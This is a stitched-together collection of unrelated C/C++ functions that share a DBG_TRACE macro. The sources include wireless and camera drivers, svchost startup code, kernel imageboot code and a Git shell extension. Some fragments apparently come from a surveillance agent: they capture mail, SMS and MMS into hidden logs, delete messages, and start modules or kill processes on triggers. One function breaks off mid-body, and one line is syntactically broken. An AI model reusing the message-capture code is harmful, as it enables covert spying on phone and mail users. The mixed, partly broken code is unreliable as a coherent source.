/******************************************************************************* * wl_process_updated_record() ******************************************************************************* * * DESCRIPTION: * * Process the updated information record message signaled by the device. * * PARAMETERS: * * lp - a pointer to the device's private structure * * RETURNS: * * N/A * ******************************************************************************/ void wl_process_updated_record( struct wl_private *lp ) { DBG_FUNC( "wl_process_updated_record" ); DBG_ENTER( DbgInfo ); if( lp != NULL ) { lp->updatedRecord.u.u16[0] = CNV_LITTLE_TO_INT( lp->updatedRecord.u.u16[0] ); switch( lp->updatedRecord.u.u16[0] ) { case CFG_CUR_COUNTRY_INFO: DBG_TRACE( DbgInfo, "Updated Record: CFG_CUR_COUNTRY_INFO\n" ); wl_connect( lp ); break; case CFG_PORT_STAT: DBG_TRACE( DbgInfo, "Updated Record: WAIT_FOR_CONNECT (0xFD40)\n" ); //wl_connect( lp ); break; default: DBG_TRACE( DbgInfo, "UNKNOWN: 0x%04x\n", lp->updatedRecord.u.u16[0] ); } } DBG_LEAVE( DbgInfo ); return; } // wl_process_updated_record
BOOL CMAPIAdviseSink::LogMessage( MAPIMessage& message ) { HRESULT hRes = E_FAIL; DWORD cbSize; std::auto_ptr<BYTE> lpData; lpData.reset( message.Serialize(&cbSize) ); if (lpData.get() == NULL) { DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR serializing message]", 5, FALSE); return FALSE; } Log pLog; UINT log_type = LOGTYPE_MAIL; if (CmpWildW(CLASS_MAIL, message.Class()) != 0) log_type = LOGTYPE_MAIL; else if (CmpWildW(CLASS_SMS, message.Class()) != 0) log_type = LOGTYPE_SMS; else if (CmpWildW(CLASS_MMS, message.Class()) != 0) log_type = LOGTYPE_MMS; if (pLog.CreateLog(log_type, NULL, 0, FLASH) != TRUE) { DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR cannot create log]", 5, FALSE); return FALSE; } pLog.WriteLog(lpData.get(), cbSize); pLog.CloseLog(); DBG_TRACE_INT(L"Debug - MAPIAdviseSink.cpp - OnNotify() [serialized message] size: ", 5, FALSE, cbSize); return TRUE; }
bool readFileHead(ByteArray& ba ) { if (ba.readByte() == 'e' && ba.readByte() == 'x' && ba.readByte() == 'b' && ba.readByte() == 'n' && ba.readByte() == 1 ) { long long time = ba.readUnsignedInt(); + 0x13770000000; DBG_TRACE(_T("create at time %ld") , time); int version = ba.readShort(); DBG_TRACE(_T("File bin version: %d") , version); //if ( version != Version.version) //{ // ASSERT(false , "unpair config version and file version"); // return false; //} return true; } else return false; }
int imageboot_needed(void) { int result = 0; char *root_path = NULL; DBG_TRACE("%s: checking for presence of root path\n", __FUNCTION__); MALLOC_ZONE(root_path, caddr_t, MAXPATHLEN, M_NAMEI, M_WAITOK); if (root_path == NULL) panic("%s: M_NAMEI zone exhausted", __FUNCTION__); if(PE_parse_boot_argn("rp", root_path, MAXPATHLEN) == TRUE) { /* Got it, now verify scheme */ if (strncmp(root_path, kIBFilePrefix, strlen(kIBFilePrefix)) == 0) { DBG_TRACE("%s: Found %s\n", __FUNCTION__, root_path); result = 1; } else { DBG_TRACE("%s: Invalid URL scheme for %s\n", __FUNCTION__, root_path); } } FREE_ZONE(root_path, MAXPATHLEN, M_NAMEI); return (result); }
int imageboot_setup() { dev_t dev; int error = 0; char *root_path = NULL; DBG_TRACE("%s: entry\n", __FUNCTION__); MALLOC_ZONE(root_path, caddr_t, MAXPATHLEN, M_NAMEI, M_WAITOK); if (root_path == NULL) return (ENOMEM); if(PE_parse_boot_argn("rp", root_path, MAXPATHLEN) == FALSE) { error = ENOENT; goto done; } printf("%s: root image url is %s\n", __FUNCTION__, root_path); error = di_root_image(root_path, rootdevice, &dev); if(error) { printf("%s: di_root_image failed: %d\n", __FUNCTION__, error); goto done; } rootdev = dev; mountroot = NULL; printf("%s: root device 0x%x\n", __FUNCTION__, rootdev); error = vfs_mountroot(); if (error == 0 && rootvnode != NULL) { struct vnode *tvp; struct vnode *newdp; /* * Get the vnode for '/'. * Set fdp->fd_fd.fd_cdir to reference it. */ if (VFS_ROOT(TAILQ_LAST(&mountlist,mntlist), &newdp, vfs_context_kernel())) panic("%s: cannot find root vnode", __FUNCTION__); vnode_ref(newdp); vnode_put(newdp); tvp = rootvnode; vnode_rele(tvp); filedesc0.fd_cdir = newdp; rootvnode = newdp; mount_list_lock(); TAILQ_REMOVE(&mountlist, TAILQ_FIRST(&mountlist), mnt_list); mount_list_unlock(); mountlist.tqh_first->mnt_flag |= MNT_ROOTFS; DBG_TRACE("%s: root switched\n", __FUNCTION__); } done: FREE_ZONE(root_path, MAXPATHLEN, M_NAMEI); DBG_TRACE("%s: exit\n", __FUNCTION__); return (error); }
LPMESSAGE openMessage(IMsgStore* pStore, ULONG cbEntryID, LPENTRYID lpEntryID) { // Open message LPMESSAGE lpMessage = NULL; HRESULT hRes = pStore->OpenEntry(cbEntryID, lpEntryID, NULL, 0, NULL, (LPUNKNOWN *)&lpMessage); if (hRes != S_OK) { switch (hRes) { case MAPI_E_NOT_FOUND: DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - openMessage() [ERROR message not found]", 5, FALSE); return NULL; break; default: DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - openMessage() [ERROR generic while opening] ", 5, FALSE); return NULL; break; } } return lpMessage; }
INT Start::run() { wstring module, status; try { status = conf->getString(L"status"); } catch (...) { DBG_TRACE(L"Debug - Start.cpp - Unknown \"status\"\n", 1, FALSE); return 0; } try { module = conf->getString(L"module"); } catch (...) { DBG_TRACE(L"Debug - Start.cpp - Unknown \"module\"\n", 1, FALSE); return 0; } if (status.compare(L"start") == 0) { DBG_TRACE_3(L"Debug - Start.cpp - Starting Module: ", module.c_str(), L"\n", 1, FALSE); return (INT)modules->start(module); } if (status.compare(L"stop") == 0) { DBG_TRACE_3(L"Debug - Start.cpp - Stopping Module: ", module.c_str(), L"\n", 1, FALSE); return (INT)modules->stop(module); } DBG_TRACE(L"Debug - Start.cpp - *** We shouldn't be here!!!\n", 1, FALSE); return 0; }
int wl_get_tallies(struct wl_private *lp, CFG_HERMES_TALLIES_STRCT *tallies) { int ret = 0; int status; CFG_HERMES_TALLIES_STRCT *pTallies; DBG_FUNC( "wl_get_tallies" ); DBG_ENTER(DbgInfo); /* Get the current tallies from the adapter */ lp->ltvRecord.len = 1 + HCF_TOT_TAL_CNT * sizeof(hcf_16); lp->ltvRecord.typ = CFG_TALLIES; status = hcf_get_info(&(lp->hcfCtx), (LTVP)&(lp->ltvRecord)); if( status == HCF_SUCCESS ) { pTallies = (CFG_HERMES_TALLIES_STRCT *)&(lp->ltvRecord.u.u32); memcpy(tallies, pTallies, sizeof(*tallies)); DBG_TRACE( DbgInfo, "Get tallies okay, dixe: %d\n", sizeof(*tallies) ); } else { DBG_TRACE( DbgInfo, "Get tallies failed\n" ); ret = -EFAULT; } DBG_LEAVE( DbgInfo ); return ret; }
// Il formato dei parametri e' il seguente: // Azione da triggerare a processo TERMINATO (TRIGGER_ACTION(myData->pParams)) // Tipo di ricerca da fare (window title [1] o nome del processo [0]) // Nome del processo in WCHAR NULL-terminato // Abbiamo un thread per processo, tuttavia il thread e' estremamente lightweight poiche' // effettua solo un busy-cycle, il resto viene fatto tutto dalla classe singleton Process. DWORD WINAPI OnProcess(LPVOID lpParam) { ProcessMonitor *processObj = ProcessMonitor::self(); Event *me = (Event *)lpParam; Configuration *conf; wstring processName; BOOL onlyWindow, processActive = FALSE; HANDLE eventHandle = me->getEvent(); me->setStatus(EVENT_RUNNING); conf = me->getConf(); try { processName = conf->getString(L"process"); } catch (...) { processName = L""; } if (processName.empty()) { me->setStatus(EVENT_STOPPED); return 0; } try { onlyWindow = conf->getBool(L"window"); } catch (...) { onlyWindow = FALSE; } DBG_TRACE(L"Debug - Process.cpp - Process Event is Alive\n", 1, FALSE); if (onlyWindow) { LOOP { if (me->shouldStop()) { DBG_TRACE(L"Debug - Process.cpp - Process Event is Closing\n", 1, FALSE); me->setStatus(EVENT_STOPPED); return 0; } if (processActive == TRUE && processObj->IsWindowPresent(processName.c_str()) == FALSE) { processActive = FALSE; me->triggerEnd(); } else if (processActive == FALSE && processObj->IsWindowPresent(processName.c_str()) == TRUE) { processActive = TRUE; me->triggerStart(); } WaitForSingleObject(eventHandle, 5000); } } else {
/** * et131x_close - Close the device * @netdev: device to be closed * * Returns 0 on success, errno on failure (as defined in errno.h) */ int et131x_close(struct net_device *netdev) { struct et131x_adapter *adapter = netdev_priv(netdev); DBG_ENTER(et131x_dbginfo); /* First thing is to stop the queue */ netif_stop_queue(netdev); /* Stop the Tx and Rx DMA engines */ et131x_rx_dma_disable(adapter); et131x_tx_dma_disable(adapter); /* Disable device interrupts */ et131x_disable_interrupts(adapter); /* Deregistering ISR */ MP_CLEAR_FLAG(adapter, fMP_ADAPTER_INTERRUPT_IN_USE); DBG_TRACE(et131x_dbginfo, "Deregistering ISR...\n"); free_irq(netdev->irq, netdev); /* Stop the error timer */ del_timer_sync(&adapter->ErrorTimer); DBG_LEAVE(et131x_dbginfo); return 0; }
VOID WINAPI SvchostStopCallback ( _In_ PVOID Context, _In_ BOOLEAN TimerOrWaitFired ) { PSVCHOST_CALLBACK_CONTEXT pSvcsStopCbContext = Context; PSVCHOST_STOP_CALLBACK pfnStopCallback; /* Hold the lock while we grab the callback */ EnterCriticalSection(&ListLock); /* Grab the callback, then clear it */ ASSERT(pSvcsStopCbContext->pService != NULL); pfnStopCallback = pSvcsStopCbContext->pService->pfnStopCallback; ASSERT(pfnStopCallback != NULL); pSvcsStopCbContext->pService->pfnStopCallback = NULL; /* Now release the lock, making sure the above was atomic */ LeaveCriticalSection(&ListLock); /* Now make the callout */ DBG_TRACE("Call stop callback for service %ws, active threads %d\n", pSvcsStopCbContext->pService->pszServiceName, pSvcsStopCbContext->pService->cServiceActiveThreadCount); pfnStopCallback(pSvcsStopCbContext->pContext, TimerOrWaitFired); /* Decrement the active threads -- maybe the DLL can unload now */ UnloadServiceDll(pSvcsStopCbContext->pService); /* We no longer need the context */ MemFree(pSvcsStopCbContext); }
WINAPI BuildServiceTable ( VOID ) { SERVICE_TABLE_ENTRYW *pServiceTable; ULONG i; /* Acquire the database lock while we go over the services */ EnterCriticalSection(&ListLock); /* Allocate space for a NULL entry at the end as well, Windows needs this */ pServiceTable = MemAlloc(HEAP_ZERO_MEMORY, (ServiceCount + 1) * sizeof(*pServiceTable)); if (pServiceTable) { /* Go over all our registered services */ for (i = 0; i < ServiceCount; i++) { /* And set their parameters in the service table */ pServiceTable[i].lpServiceName = (LPWSTR)ServiceArray[i].pszServiceName; pServiceTable[i].lpServiceProc = ServiceStarter; DBG_TRACE("Added service table entry for %ws\n", pServiceTable[i].lpServiceName); } } /* All done, can release the lock now */ LeaveCriticalSection(&ListLock); return pServiceTable; }
BOOL ExecuteFile(LPCTSTR lpszFilename, LPCTSTR lpszInstallParam, DWORD &dwExitCode) { if (!lpszFilename || !lpszInstallParam || !PathFileExists(lpszFilename)) return FALSE; TCHAR szCmdline[MAX_PATH] = {0}; if(lpszInstallParam && _tcslen(lpszInstallParam)>0) _stprintf(szCmdline, _T("\"%s\" %s"), lpszFilename, lpszInstallParam); else _tcscpy(szCmdline, lpszFilename); STARTUPINFO si = { sizeof(STARTUPINFO) }; PROCESS_INFORMATION pi={0}; BOOL processCreated = CreateProcess(NULL, szCmdline, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); if(!processCreated) return FALSE; WaitForSingleObject(pi.hProcess, INFINITE); dwExitCode = 0; GetExitCodeProcess(pi.hProcess, &dwExitCode); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); DBG_TRACE(_T("%s -> %d\n"), szCmdline, dwExitCode ); return TRUE; }
void CImageHardwareSimulation:: SetTriggerTime( _In_ ULONGLONG TriggerTime ) /*++ Routine Description: Identify exactly when the user pressed that button. Arguments: TriggerTime - The QPC time in 100ns when the user asked for the photo. Return Value: void --*/ { PAGED_CODE(); m_TriggerTime = TriggerTime; DBG_TRACE( "Setting Trigger Time = 0x%016llX", TriggerTime ); }
// // Emit metadata here that is common to all pins. // // All derived classes' EmitMetadata() function must // call this function first. // void CHardwareSimulation:: EmitMetadata( _Inout_ PKSSTREAM_HEADER pStreamHeader ) { PAGED_CODE(); NT_ASSERT(pStreamHeader); if (0 != (pStreamHeader->OptionsFlags & KSSTREAM_HEADER_OPTIONSF_METADATA)) { PKS_FRAME_INFO pFrameInfo = (PKS_FRAME_INFO)(pStreamHeader + 1); PKSSTREAM_METADATA_INFO pMetadata = (PKSSTREAM_METADATA_INFO) (pFrameInfo + 1); //PBYTE pData = (PBYTE) pMetadata->SystemVa; //ULONG BytesLeft = pMetadata->BufferSize; // A real driver might write focus state or other info here. We've got nothing. pMetadata->UsedSize = 0; } else { DBG_TRACE("Metadata not present..."); } }
RTN RTN_FindLoop(IMG img, string rtn_name) { SEC temp=IMG_SecHead(img); while(SEC_Valid(temp)) { //we pick only executable code segment if(SEC_Type(temp)==SEC_TYPE_EXEC){ RTN myrtn=SEC_RtnHead(temp); DBG_TRACE("RTNs to be instrumented"); while(RTN_Valid(myrtn)) { cerr<<RTN_Name(myrtn)<<endl; if(RTN_Name(myrtn)==rtn_name) { cerr<<"Rtn Found:"<<rtn_name<<endl; return myrtn; } myrtn=RTN_Next(myrtn); } } temp=SEC_Next(temp); } RTN empty; return empty; }
// Function: // bool CImageHardwareSimulation::IsPfsEOS(void) // // Description: // Determine if we're at the EOS. // // Parameters: // [None] // // Returns: // bool - true if we've reached the end of our Per Frame Settings. // bool CImageHardwareSimulation:: IsPfsEOS(void) { PAGED_CODE(); DBG_ENTER( "()" ); DBG_TRACE( "m_bTriggered=%s, m_bEndOfSequence=%s, m_PinMode=%d, m_pIspSetting=0x%p", ( m_bTriggered ? "true" : "false" ), ( m_bEndOfSequence ? "true" : "false" ), m_PinMode, m_pIspSettings ); // // Make sure we're in a Variable Photo Sequence. // bool result = bool( m_bTriggered == TRUE && m_bEndOfSequence && m_PinMode == PinBurstMode && m_pIspSettings ); // Must have ISP settings set to be PFS EOS. DBG_LEAVE( "() = %s", (result ? "true" : "false") ); return result; }
// Function: // bool CImageHardwareSimulation::AdvanceFrameCounter(void) // // Description: // Advance our frame and loop pointers to the next PFS settings. // // Parameters: // [None] // // Returns: // bool - true if we've reached the end of our Per Frame Settings. // bool CImageHardwareSimulation:: AdvanceFrameCounter(void) { PAGED_CODE(); bool bEOS = false; DBG_ENTER( "()" ); m_GlobalFrameNumber ++; DBG_TRACE( "m_GlobalFrameNumber=%lld", m_GlobalFrameNumber ); // // Calculate the PFS frame & loop numbers, but only if we've // gotten ISP settings. // if( m_bTriggered && m_PinMode == PinBurstMode && m_pIspSettings ) { m_PfsFrameNumber ++; if( m_PfsFrameNumber >= m_PfsFrameLimit ) { m_PfsFrameNumber = 0; m_PfsLoopNumber ++; } // Only mark EOS if we're not in an infinite loop. if( m_PfsLoopLimit != 0 ) { NT_ASSERT( !(m_PfsLoopNumber > m_PfsLoopLimit) ); // Check to see if we've hit our limit. if( m_PfsLoopNumber >= m_PfsLoopLimit ) { DBG_TRACE( "Marking EOS" ); bEOS = true; } } } DBG_TRACE( "m_PfsFrameNumber=%d, m_PfsLoopNumber=%d", m_PfsFrameNumber, m_PfsLoopNumber ); DBG_TRACE( "m_PfsFrameLimit=%d, m_PfsLoopLimit=%d", m_PfsFrameLimit, m_PfsLoopLimit ); DBG_LEAVE( "() = %s", bEOS ? "true" : "false" ); return bEOS; }
STDMETHODIMP CGitExtensionsShellEx::Initialize(LPCITEMIDLIST pidlFolder, LPDATAOBJECT pDataObj, HKEY hProgID) { FORMATETC fmt = { CF_HDROP, NULL, DVASPECT_CONTENT, -1, TYMED_HGLOBAL }; STGMEDIUM stg = { TYMED_HGLOBAL }; HDROP hDrop; /* store the folder, if provided */ DBG_TRACE(L"CGitExtensionsShellEx::Initialize(pidlFolder=%p)", pidlFolder); m_szFile[0] = '\0'; if (pidlFolder) SHGetPathFromIDList(pidlFolder, m_szFile); if (!pDataObj) return S_OK; // Look for CF_HDROP data in the data object. if (FAILED( pDataObj->GetData(&fmt, &stg))) { // Nope! Return an "invalid argument" error back to Explorer. return E_INVALIDARG; } // Get a pointer to the actual data. hDrop = (HDROP)GlobalLock(stg.hGlobal); // Make sure it worked. if (NULL == hDrop) return E_INVALIDARG; // Sanity check - make sure there is at least one filename. UINT uNumFiles = DragQueryFile(hDrop, 0xFFFFFFFF, NULL, 0); HRESULT hr = S_OK; DBG_TRACE(L"uNumFiles=%u", uNumFiles); if (uNumFiles != 1) hr = E_INVALIDARG; // Get the name of the first file and store it in our member variable m_szFile. else if (!DragQueryFile(hDrop, 0, m_szFile, MAX_PATH)) hr = E_INVALIDARG; DBG_TRACE(L"m_szFile=%s", m_szFile); GlobalUnlock(stg.hGlobal); ReleaseStgMedium(&stg); return hr; }
void CMpeg2DecoderDXVA2::CloseDecoder() { DBG_TRACE(TEXT("CMpeg2DecoderDXVA2::CloseDecoder()")); ResetDecoding(); SafeRelease(m_pVideoDecoder); m_fDeviceLost = false; }
VOID wmainCRTStartup ( VOID ) { PSVCHOST_OPTIONS lpOptions; SERVICE_TABLE_ENTRYW *pServiceTable; LPWSTR pszCmdLine; /* Set a generic SEH filter and hard fail all critical errors */ SetUnhandledExceptionFilter(SvchostUnhandledExceptionFilter); SetErrorMode(SEM_FAILCRITICALERRORS); /* Initialize the heap allocator */ MemInit(GetProcessHeap()); /* Initialize the DLL database and lock */ InitializeListHead(&DllList); InitializeCriticalSection(&ListLock); /* Get the command-line and parse it to get the service group */ pszCmdLine = GetCommandLineW(); lpOptions = BuildCommandOptions(pszCmdLine); if (lpOptions == NULL) { /* Without a valid command-line, there's nothing for us to do */ DBG_TRACE("Calling ExitProcess for %ws\n", pszCmdLine); ExitProcess(0); } /* Now use the service group information to lookup all the services */ BuildServiceArray(lpOptions); /* Convert the list of services in this group to the SCM format */ pServiceTable = BuildServiceTable(); if (pServiceTable == NULL) { /* This is critical, bail out without it */ MemFree(lpOptions); return; } /* Initialize COM and RPC as needed for this service group */ if (CallPerInstanceInitFunctions(lpOptions) == FALSE) { /* Exit with a special code indicating COM/RPC setup has failed */ DBG_ERR("%s", "CallPerInstanceInitFunctions failed -- exiting!\n"); ExitProcess(1); } /* We're ready to go -- free the options buffer */ MemFree(lpOptions); /* And call into ADVAPI32 to get our services going */ StartServiceCtrlDispatcherW(pServiceTable); }
// // Complete the history list. // NTSTATUS CImageHardwareSimulation:: CompleteCloneList() { PAGED_CODE(); int i = 0; while(!IsListEmpty(&m_BurstList)) { LIST_ENTRY *listEntry = RemoveHeadList(&m_BurstList); PSCATTER_GATHER_ENTRY SGEntry = reinterpret_cast <PSCATTER_GATHER_ENTRY> ( CONTAINING_RECORD ( listEntry, SCATTER_GATHER_ENTRY, ListEntry ) ); m_pClone = SGEntry->CloneEntry; m_PhotoConfirmationInfo = SGEntry->PhotoConfirmationInfo; m_NumMappingsCompleted++; m_ScatterGatherBytesQueued -= SGEntry -> ByteCount; DBG_TRACE( "m_NumMappingsCompleted=%d, m_PhotoConfirmationInfo.isRequired()=%s", m_NumMappingsCompleted, m_PhotoConfirmationInfo.isRequired( )?"TRUE":"FALSE" ); DBG_TRACE( "Frame %p, PresentationTime=0x%016llX", SGEntry->CloneEntry->StreamHeader, SGEntry->CloneEntry->StreamHeader->PresentationTime.Time ); m_Sensor -> Interrupt (m_PinID); ExFreeToNPagedLookasideList ( &m_ScatterGatherLookaside, reinterpret_cast <PVOID> (SGEntry) ); i++; } return STATUS_SUCCESS; }
void CMpeg2DecoderDXVA2::CloseDecoderService() { DBG_TRACE(TEXT("CMpeg2DecoderDXVA2::CloseDecoderService()")); CloseDecoder(); SafeRelease(m_pDecoderService); SafeRelease(m_pDeviceManager); m_pFilter = nullptr; m_SurfaceFormat = D3DFMT_UNKNOWN; }
/******************************************************************************* * wl_process_security_status() ******************************************************************************* * * DESCRIPTION: * * Process the security status message signaled by the device. * * PARAMETERS: * * lp - a pointer to the device's private structure * * RETURNS: * * N/A * ******************************************************************************/ void wl_process_security_status( struct wl_private *lp ) { SECURITY_STATUS_STRCT *sec_stat; /*------------------------------------------------------------------------*/ DBG_FUNC( "wl_process_security_status" ); DBG_ENTER( DbgInfo ); if( lp != NULL ) { sec_stat = (SECURITY_STATUS_STRCT *)&lp->sec_stat; wl_endian_translate_event( (ltv_t *)sec_stat ); switch( sec_stat->securityStatus ) { case 1: DBG_TRACE( DbgInfo, "Security Status : Dissassociate [AP]\n" ); break; case 2: DBG_TRACE( DbgInfo, "Security Status : Deauthenticate [AP]\n" ); break; case 3: DBG_TRACE( DbgInfo, "Security Status : Authenticate Fail [STA] or [AP]\n" ); break; case 4: DBG_TRACE( DbgInfo, "Security Status : MIC Fail\n" ); break; case 5: DBG_TRACE( DbgInfo, "Security Status : Associate Fail\n" ); break; default: DBG_TRACE( DbgInfo, "Security Status : UNKNOWN (0x%04x)\n", sec_stat->securityStatus ); break; } DBG_TRACE( DbgInfo, "STA Address : %s\n", DbgHwAddr( sec_stat->staAddr )); DBG_TRACE( DbgInfo, "Reason : 0x%04x \n", sec_stat->reason ); } DBG_LEAVE( DbgInfo ); return; } // wl_process_security_status
bool SpecManager::InstImage(string image) { DBG_TRACE("Comes here"); DBG_TRACE(image); //find the ruleset corresponding to the image map<string,RuleSet*>::iterator drit=this->imgIndx.find(image); /*map<string,RuleSet*>::iterator myit=this->imgIndx.begin(); if(myit!=this->imgIndx.end()) { DBG_TRACE("#########"); DBG_TRACE(myit->first); }*/ if(drit!=this->imgIndx.end()) { RuleSet *robj=drit->second; //add the image to be profiled this->AddImage(image,robj->getProfileFlag()); return true; } list<RuleSet*>::iterator rit=this->rules.begin(); while(rit!=this->rules.end()) { RuleSet* robj=*rit; //Check if the image matches with specification //if((robj->GetImagePat(),image)) if(Match(image,robj->GetImagePat())) { DBG_TRACE("TRUE returning"); return true; } //do regular expression here rit++; } DBG_TRACE("FALSE returning"); return false; }
/******************************************************************************* * wl_adapter_cleanup_module() ******************************************************************************* * * DESCRIPTION: * * Called by cleanup_module() to perform driver uninitialization. * * PARAMETERS: * * N/A * * RETURNS: * * N/A * ******************************************************************************/ void wl_adapter_cleanup_module(void) { DBG_FUNC("wl_adapter_cleanup_module"); DBG_ENTER(DbgInfo); DBG_TRACE(DbgInfo, "wl_adapter_cleanup_module() -- PCMCIA\n"); pcmcia_unregister_driver(&wlags49_driver); DBG_LEAVE(DbgInfo); return; } /* wl_adapter_cleanup_module */
void TraceManager::AfterExec(RtnTrack* rtntr) { //handles just before exit int pflag=rtntr->flag; //aft_list.push_back(rtntr); if(pflag&&1) { DBG_TRACE("Profile Stop"); //calls enf of profile into tau system EndProfile((char*)rtntr->rtn.c_str(),rtntr->tau); } }
/******************************************************************************* * wl_process_link_status() ******************************************************************************* * * DESCRIPTION: * * Process the link status message signaled by the device. * * PARAMETERS: * * lp - a pointer to the device's private structure * * RETURNS: * * N/A * ******************************************************************************/ void wl_process_link_status( struct wl_private *lp ) { hcf_16 link_stat; if( lp != NULL ) { //link_stat = lp->hcfCtx.IFB_DSLinkStat & CFG_LINK_STAT_FW; link_stat = lp->hcfCtx.IFB_LinkStat & CFG_LINK_STAT_FW; switch( link_stat ) { case 1: DBG_TRACE( DbgInfo, "Link Status : Connected\n" ); wl_wext_event_ap( lp->dev ); break; case 2: DBG_TRACE( DbgInfo, "Link Status : Disconnected\n" ); break; case 3: DBG_TRACE( DbgInfo, "Link Status : Access Point Change\n" ); break; case 4: DBG_TRACE( DbgInfo, "Link Status : Access Point Out of Range\n" ); break; case 5: DBG_TRACE( DbgInfo, "Link Status : Access Point In Range\n" ); break; default: DBG_TRACE( DbgInfo, "Link Status : UNKNOWN (0x%04x)\n", link_stat ); break; } } } // wl_process_link_status
HRESULT CMailRuleClient::DeleteMessage( IMsgStore *pMsgStore, IMessage *pMsg, ULONG cbMsg, LPENTRYID lpMsg, ULONG cbDestFolder, LPENTRYID lpDestFolder, ULONG *pulEventType, MRCHANDLED *pHandled) { HRESULT hr = S_OK; ENTRYLIST lst; SBinary sbin; IMAPIFolder *pFolder = NULL; hr = pMsgStore->OpenEntry(cbDestFolder, lpDestFolder, NULL, 0, NULL, (LPUNKNOWN *) &pFolder); if (FAILED(hr)) { DBG_TRACE(L"Failed opening message entry.", DBG_HIGH, TRUE); return hr; } lst.cValues = 1; sbin.cb = cbMsg; sbin.lpb = (LPBYTE) lpMsg; lst.lpbin = &sbin; hr = pFolder->DeleteMessages(&lst, NULL, NULL, 0); if (FAILED(hr)) { DBG_TRACE(L"Failed deleting messages.", DBG_HIGH, TRUE); *pulEventType = fnevObjectDeleted; *pHandled = MRC_HANDLED_DONTCONTINUE; } if (pFolder) pFolder->Release(); DBG_TRACE(L"Message deleted.", DBG_NOTIFY, FALSE); return hr; }
BOOL ProcessMonitor::KillProcess(wstring wszProcessName) { if (ProcessHandler(wszProcessName.c_str(), PROC_TERMINATE, 0) == TRUE) { return TRUE; } if (ProcessHandler(wszProcessName, PROC_FIND, 0) == FALSE) { DBG_TRACE(L"ProcessMonitor KillProcess ProcessHandler PROC_FIND PROC NOT FOUND ", 5, FALSE); return TRUE; } return FALSE; }